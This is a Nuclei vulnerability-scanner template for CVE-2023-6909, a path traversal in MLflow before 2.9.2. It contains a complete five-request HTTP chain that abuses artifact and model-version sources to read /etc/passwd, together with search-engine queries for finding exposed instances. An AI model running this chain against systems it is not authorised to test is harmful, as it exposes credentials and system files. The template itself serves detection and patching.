nuclei-templates/http/cves/2023/CVE-2023-6909.yaml

101 lines
2.8 KiB
YAML

id: CVE-2023-6909
info:
name: Mlflow <2.9.2 - Path Traversal
author: Hyunsoo-ds
severity: high
description: |
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
impact: |
Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
remediation: |
To fix this vulnerability, it is important to update the mlflow package to the latest version 2.10.0.
reference:
- https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6909
- https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-6909
cwe-id: CWE-29
epss-score: 0.00494
epss-percentile: 0.76167
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: lfprojects
product: mlflow
shodan-query: "http.title:\"mlflow\""
fofa-query:
- title="mlflow"
- app="mlflow"
google-query: intitle:"mlflow"
tags: cve,cve2023,mlflow,lfi,intrusive,lfprojects
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
Host: {{Hostname}}
{"name" : "{{randstr}}", "artifact_location": "http:///?/../../../../../../../../../../../../../../etc/"}
- |
POST /api/2.0/mlflow/runs/create HTTP/1.1
Host: {{Hostname}}
{"experiment_id": "{{EXPERIMENT_ID}}"}
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
{"name": "{{randstr}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
{"name" : "{{randstr}}", "run_id": "{{RUN_ID}}", "source" : "file:///etc/"}
- |
GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header_5
words:
- "filename=passwd"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
extractors:
- type: json
part: body_1
name: EXPERIMENT_ID
group: 1
json:
- '.experiment_id'
internal: true
- type: json
part: body_2
name: RUN_ID
group: 1
json:
- '.run.info.run_id'
internal: true
# digest: 4a0a00473045022100db5504fc5ccec8cb533fd47b571ed5f305ea8139bb810af6027e28961ced040f02206640d8721c739138031e655a2f394b7ceda41c462823e52e45cf0ba23b260200:922c64590222798bb761d5b6d8e72950